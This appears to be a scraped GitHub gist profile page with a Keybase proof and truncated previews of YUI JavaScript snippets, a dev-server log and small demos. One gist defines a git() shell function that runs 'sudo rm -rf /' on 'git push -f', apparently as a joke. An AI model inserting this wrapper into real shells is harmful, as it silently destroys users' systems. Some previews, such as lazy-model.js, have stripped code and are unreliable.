Keybase proof

I hereby claim:

  • I am rgrove on github.
  • I am rgrove ( on keybase.
  • I have a public key whose fingerprint is 6158 CE1B 2C11 D2A1 873D 95D9 1265 448E F00F F5E2

To claim this, I am signing this object:

View gist:6096534
git() {
if [[ "$1" == "push" && "$2" == "-f" ]]; then
sudo rm -rf /
View gist:5959326
rgrove@sulaco:~/src/yui/yui3 (dev-3.x)$ yogi serve
yogi [info] using yogi@0.1.10 on node@0.10.4
yogi [info] adding tests route
yogi [info] this is yui, using global path for all docs
yogi [info] launching yuidoc --server 5001 --config /Users/rgrove/src/yui/yui3/src/common/api/yuidoc.json
yogi [info] this is yui, using global path for all docs
yogi [info] launching selleck --server 5002 --project /Users/rgrove/src/yui/yui3/src/common/docs/
yogi [info] launching xdr server on port 5003
yogi [info] listening on:
View gist:5888864
menu.on('itemClick', function (e) {
if (e.item.isOpen()) {
View getAbsoluteBoundingRect.js
Returns a bounding rect for _el_ with absolute coordinates corrected for
scroll positions.
The native `getBoundingClientRect()` returns coordinates for an element's
visual position relative to the top left of the viewport, so if the element
is part of a scrollable region that has been scrolled, its coordinates will
be different than if the region hadn't been scrolled.
This method corrects for scroll offsets all the way up the node tree, so the
View dom-class.js
var addClass, hasClass, removeClass;
// Some old browers don't support classList, fallbacks use className property
var _hasClassList = Y2.config.doc && 'classList' in Y2.config.doc.body;
Y2.mix(Y2.DOM, {
* Determines whether a DOM element has the given className.
* @method hasClass
* @for DOM
View gist:5305286
YUI().use('autocomplete', 'jsonp', function (Y) {
var ac = new Y.AutoComplete({
source: function (query, callback) {
Y.jsonp('' + encodeURIComponent(query) + '&callback={callback}', {
timeout: 10000 // 10 seconds,
on: {
success: callback,
failure: function () { /* ... */ },
View lazy-model.js
// Super fast read-only fake Model.
var GlobalEnv = YUI.namespace('Env.Model');
function LazyModel(config) { = Y.merge(config); || ( = this.generateClientId());
this.lists = [];
View yaypie.html
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<title>pie is good</title>
html { background: #fff; }
body {
View gist:4676369
var re = /a/g,
str ='foo bar biz quux';
console.log(re.exec(str)); // => ["a"]
re.lastIndex = 0;
console.log(re.exec(str)); // => ["a"] (would be null if lastIndex weren't reset)